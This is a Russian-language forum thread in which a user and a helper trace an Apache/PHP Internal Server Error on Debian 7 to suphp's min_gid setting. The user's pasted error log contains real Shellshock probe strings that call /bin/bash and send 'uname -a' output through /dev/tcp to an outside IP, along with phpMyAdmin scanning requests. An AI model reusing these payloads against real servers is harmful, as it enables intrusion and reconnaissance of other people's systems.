Автор Тема: Apache + php  (Прочитано 2458 раз)

0 Пользователей и 1 Гость просматривают эту тему.

Оффлайн Андрей_1

  • Местный житель
  • ***
  • Сообщений: 194
Apache + php
« : 20 Июня 2015, 09:58:20 »
Решил подключить к Apache - php. Debian7
Делал вот по этим статьям :
http://blog.evgeniy.me/1807
http://iantonov.me/page/nastraivaem-lamp-linux-apache-mysql-php-v-debian-7

html сервер работает. А при введении localhost/phpinfo.php выдаёт:
Spoiler: ShowHide

Internal Server Error
The server encountered an internal error or misconfiguration and was unable to complete your request.
Please contact the server administrator, webmaster@localhost and inform them of the time the error occurred, and anything you might have done that may have caused the error.
More information about this error may be available in the server error log.

Читал про данную ошибку, пытался выполнить рекомендации, но без успешно.
На другом компе попробовал всё сделать по этим же статьям и всё получилось. phpinfo выдаёт информацию о сервере, ошибок нет.

А с первым компом так и не могу справиться. Где я накосячил?
при перегрузке apache:
Spoiler: ShowHide

root@Librarydeb:/home/manager# /etc/init.d/apache2 restart
[....] Restarting web server: apache2apache2: Could not reliably determine the server's fully qualified domain name, using 109.195.67.158 for ServerName
 ... waiting apache2: Could not reliably determine the server's fully qualified domain name, using 109.195.67.158 for ServerName
. ok


От куда взялось - apache2apache2 ?
 

Оффлайн endru

Re: Apache + php
« Ответ #1 : 20 Июня 2015, 15:06:34 »
показывай виртуалхост апача и /etc/hosts

Оффлайн Андрей_1

  • Местный житель
  • ***
  • Сообщений: 194
Re: Apache + php
« Ответ #2 : 21 Июня 2015, 03:03:43 »
/etc/hosts
Spoiler: ShowHide

127.0.0.1 localhost
109.195.67.158 Librarydeb
109.195.76.158 manager.my-pc


/etc/apache2/sites-available/default
Spoiler: ShowHide

<VirtualHost *:80>
   ServerAdmin webmaster@localhost

   DocumentRoot /var/www
   <Directory />
      Options FollowSymLinks
      AllowOverride None
   </Directory>
   <Directory /var/www/>
      Options Indexes FollowSymLinks MultiViews
      AllowOverride None
      Order allow,deny
      allow from all
   </Directory>

   ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
   <Directory "/usr/lib/cgi-bin">
      AllowOverride None
      Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
      Order allow,deny
      Allow from all
   </Directory>

   ErrorLog ${APACHE_LOG_DIR}/error.log

   # Possible values include: debug, info, notice, warn, error, crit,
   # alert, emerg.
   LogLevel warn

   CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>



 

Оффлайн endru

Re: Apache + php
« Ответ #3 : 22 Июня 2015, 08:36:49 »
Андрей_1, зачем ты указываешь свой IP в /etc/hosts ? он указывается в случаях: домен не существует; нужно открыть домен на IP отличном от А записей DNS, и т.д.
правильней указывать:
127.0.1.1 librarydeb manager.my-pc

Оффлайн Андрей_1

  • Местный житель
  • ***
  • Сообщений: 194
Re: Apache + php
« Ответ #4 : 22 Июня 2015, 11:18:34 »
Пробовал всё, вот и осталась запись.
Сейчас исправлю!

Cообщение объединено 22 Июня 2015, 11:25:28
Исправил.
не изменилось!
root@Librarydeb:/home/manager# /etc/init.d/apache2 restart
[....] Restarting web server: apache2apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName
 ... waiting apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName
. ok
На в браузере та же ошибка!
« Последнее редактирование: 22 Июня 2015, 11:25:28 от Андрей_1 »
 

Оффлайн endru

Re: Apache + php
« Ответ #5 : 22 Июня 2015, 11:40:00 »
grep -i error /var/log/apache2/error.log
chmod +r -R /var/www/
dpkg -l | grep apache

Оффлайн Андрей_1

  • Местный житель
  • ***
  • Сообщений: 194
Re: Apache + php
« Ответ #6 : 22 Июня 2015, 12:10:52 »
chmod +r -R /var/www/  выполнил
log
Spoiler: ShowHide

root@Librarydeb:/home/manager# grep -i error /var/log/apache2/error.log
[Sun Jun 21 09:10:21 2015] [error] [client 185.49.15.23] File does not exist: /var/www/testproxy.php
[Sun Jun 21 09:28:08 2015] [error] [client 59.124.113.45] File does not exist: /var/www/phpMyAdmin
[Sun Jun 21 09:28:12 2015] [error] [client 59.124.113.45] File does not exist: /var/www/pma
[Sun Jun 21 09:28:15 2015] [error] [client 59.124.113.45] File does not exist: /var/www/myadmin
[Sun Jun 21 10:32:20 2015] [error] [client 121.14.5.125] File does not exist: /var/www/muieblackcat
[Sun Jun 21 14:31:09 2015] [error] [client 163.24.108.251] File does not exist: /var/www/phpMyAdmin
[Sun Jun 21 14:31:13 2015] [error] [client 163.24.108.251] File does not exist: /var/www/pma
[Sun Jun 21 14:31:17 2015] [error] [client 163.24.108.251] File does not exist: /var/www/myadmin
[Sun Jun 21 18:19:12 2015] [error] [client 178.162.5.3] Invalid URI in request `\x85\xfb\xb3\xf0\x87Dk\xa1\xfda\xeb\r\xba8L\xb2\x04\xf5I\x03
[Sun Jun 21 18:34:26 2015] [error] [client 213.165.70.245] script not found or unable to stat: /usr/lib/cgi-bin/hello.cgi, referer: () { :;}; /bin/bash -c "echo 109.195.67.158/cgi-bin/hello.cgi  > /dev/tcp/74.208.79.34/21; /bin/uname -a > /dev/tcp/74.208.79.34/21; echo 109.195.67.158/cgi-bin/hello.cgi > /dev/udp/74.208.79.34/21"
[Sun Jun 21 19:46:30 2015] [error] [client 185.49.15.23] File does not exist: /var/www/testproxy.php
[Sun Jun 21 22:20:38 2015] [error] [client 95.153.168.25] Invalid URI in request \xd8\xfd'XMP\x84\x9aKhv\x85\xfbh!\xba\xbb~N\x1b\xcd\xb5\x1a\xf5\x12\x1c\t\x81\xe9n\xc1\x82\x88pR\xbc\x10!\x10jq\xb9\x1e\xd8\xac\xd9\xb2\x1c\xf5\xc2\xf9\x85\xb6
[Sun Jun 21 22:51:39 2015] [error] [client 104.193.9.236] File does not exist: /var/www/phpmyadmin
[Mon Jun 22 00:18:09 2015] [error] [client 217.118.93.89] Invalid method in request \x97-\xa6]\x98)\bP\x81>\x03N\xfb@\xf6\xc0`\xe9\x17\xb0\xf7\x9b\xf9D\xaf\xef\xcb\x83t\xee\x07C\x97
[Mon Jun 22 01:31:01 2015] [error] [client 82.222.68.215] Invalid method in request \xc4v*\x02N\x8d\xbe\x1d_\x14`\x0eI\x89#\x85\x0f3\x18Y-\x14
[Mon Jun 22 01:41:41 2015] [error] [client 178.168.244.67] Invalid method in request \xa0h\xf9\x7f(d\xcb\xc5\xd3
[Mon Jun 22 03:38:37 2015] [error] [client 192.168.241.77] File does not exist: /var/www/favicon.ico
[Mon Jun 22 08:11:17 2015] [error] [client 185.25.151.159] File does not exist: /var/www/testproxy.php
[Mon Jun 22 08:25:26 2015] [error] [client 192.187.110.98] File does not exist: /var/www/testproxy.php
[Mon Jun 22 09:13:04 2015] [error] [client 179.135.120.132] request failed: error reading the headers
[Mon Jun 22 09:28:18 2015] [error] [client 195.218.134.34] File does not exist: /var/www/favicon.ico
[Mon Jun 22 09:28:18 2015] [error] [client 195.218.134.34] File does not exist: /var/www/favicon.ico
[Mon Jun 22 09:28:18 2015] [error] [client 195.218.134.34] File does not exist: /var/www/favicon.ico
[Mon Jun 22 09:43:34 2015] [error] [client 195.218.134.130] File does not exist: /var/www/favicon.ico
[Mon Jun 22 09:43:38 2015] [error] [client 195.218.134.130] File does not exist: /usr/share/javascript/jquery.min.js
[Mon Jun 22 09:43:38 2015] [error] [client 195.218.134.130] File does not exist: /usr/share/javascript/jquery.magnifier.js
[Mon Jun 22 11:00:06 2015] [error] [client 213.165.70.245] script not found or unable to stat: /usr/lib/cgi-bin/index.cgi, referer: () { :;}; /bin/bash -c "echo 109.195.67.158/cgi-bin/index.cgi  > /dev/tcp/74.208.79.34/21; /bin/uname -a > /dev/tcp/74.208.79.34/21; echo 109.195.67.158/cgi-bin/index.cgi > /dev/udp/74.208.79.34/21"
[Mon Jun 22 12:47:15 2015] [error] [client 178.19.104.138] File does not exist: /var/www/robots.txt
[Mon Jun 22 15:23:15 2015] [error] [client 109.195.67.158] SoftException in Application.cpp:356: GID of script "/var/www/phpinfo.php" is smaller than min_gid
[Mon Jun 22 15:23:15 2015] [error] [client 109.195.67.158] Premature end of script headers: phpinfo.php
[Mon Jun 22 15:23:15 2015] [error] [client 109.195.67.158] File does not exist: /var/www/favicon.ico
[Mon Jun 22 15:23:15 2015] [error] [client 109.195.67.158] File does not exist: /var/www/favicon.ico
[Mon Jun 22 15:34:44 2015] [error] [client 195.16.111.50] Invalid URI in request \xf6\x14\xe1\x9e\vJ\b\xf2&(\xf6\x1a\xa0
root@Librarydeb:/home/manager#


dpkg -l | grep apache
Spoiler: ShowHide

root@Librarydeb:/home/manager# dpkg -l | grep apache
ii  apache2                              2.2.22-13+deb7u4                        i386         Apache HTTP Server metapackage
ii  apache2-doc                          2.2.22-13+deb7u4                        all          Apache HTTP Server documentation
ii  apache2-mpm-prefork                  2.2.22-13+deb7u4                        i386         Apache HTTP Server - traditional non-threaded model
ii  apache2-utils                        2.2.22-13+deb7u4                        i386         utility programs for webservers
ii  apache2.2-bin                        2.2.22-13+deb7u4                        i386         Apache HTTP Server common binary files
ii  apache2.2-common                     2.2.22-13+deb7u4                        i386         Apache HTTP Server common files
ii  libapache-pom-java                   10-2                                    all          Maven metadata for all Apache Software projects
ii  libapache2-mod-php5                  5.4.41-0+deb7u1                         i386         server-side, HTML-embedded scripting language (Apache 2 module)
rc  libapache2-mod-php5filter            5.4.41-0+deb7u1                         i386         server-side, HTML-embedded scripting language (apache 2 filter module)
ii  libapache2-mod-suphp                 0.7.1-3                                 i386         Apache2 module to run PHP scripts with the owner permissions
root@Librarydeb:/home/manager#



 

Оффлайн endru

Re: Apache + php
« Ответ #7 : 22 Июня 2015, 12:29:19 »
SoftException in Application.cpp:356: GID of script "/var/www/phpinfo.php" is smaller than min_gid
libapache2-mod-suphp
гугл говорит: раз,два
вывод - настроить suphp или отказаться от него.

Cообщение объединено 22 Июня 2015, 12:33:38
[ot]судя по логам, тебя еще и долбят периодически. настрой хотя бы fail2ban для апача[/ot]
« Последнее редактирование: 22 Июня 2015, 12:33:38 от endru »
 

Оффлайн Андрей_1

  • Местный житель
  • ***
  • Сообщений: 194
Re: Apache + php
« Ответ #8 : 22 Июня 2015, 13:05:09 »
Вот посмотрел раз и два. Честно говоря мой английский сильно хромает. Вкрадце не могли бы описать суть! Это связано с железом?

 

Оффлайн endru

Re: Apache + php
« Ответ #9 : 22 Июня 2015, 13:29:55 »
вкратце:
chown -R www-data:www-data /var/www/если не помогло, то нужно проверить настройки /etc/suphp/suphp.conf (возможно в дебиан отличается директория, не устанавливал не знаю)
min_uid и min_gid - должны совпадать с uid и gid www-data, соответственно (можно посмотреть командой id www-data)

Оффлайн Андрей_1

  • Местный житель
  • ***
  • Сообщений: 194
Re: Apache + php
« Ответ #10 : 22 Июня 2015, 14:43:04 »
Спасибо огромное!
min_uid и min_gid  не совпадали с www-data.
Поменял. Теперь phpinfo выдаёт инфу о сервере
Но при рестарте apache  всё равно какая-то странная строка:
Spoiler: ShowHide

root@Librarydeb:/home/manager# /etc/init.d/apache2 restart
[....] Restarting web server: apache2apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName
 ... waiting apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName
. ok


 

Оффлайн endru

Re: Apache + php
« Ответ #11 : 23 Июня 2015, 06:46:21 »
Андрей_1, это предупреждение, не критично.
пропиши в /etc/hosts и /etc/hostname реальное доменное имя (если такое имеется) и сообщение пропадет.
На сообщение можно не обращать внимания, если сервер используется в личных целях.

Теги:
 

Настройка связки Apache+nginx

Автор wolfnight

Ответов: 0
Просмотров: 1787
Последний ответ 05 Июля 2012, 20:16:48
от wolfnight
redmine apache You don't have permission to access /redmine on this server.

Автор bboymig

Ответов: 3
Просмотров: 3651
Последний ответ 27 Сентября 2016, 05:24:26
от endru
Сократить время первой задержки ввода (FID) (оптимизиция сервера на Apache)

Автор misha_lp

Ответов: 2
Просмотров: 491
Последний ответ 07 Декабря 2019, 18:48:52
от misha_lp
[Решено] Установка apache

Автор cia

Ответов: 2
Просмотров: 2652
Последний ответ 28 Октября 2011, 13:24:37
от cia
Установка apache 2.2.27

Автор vasiliy_b

Ответов: 1
Просмотров: 2596
Последний ответ 13 Августа 2014, 22:26:44
от Yrii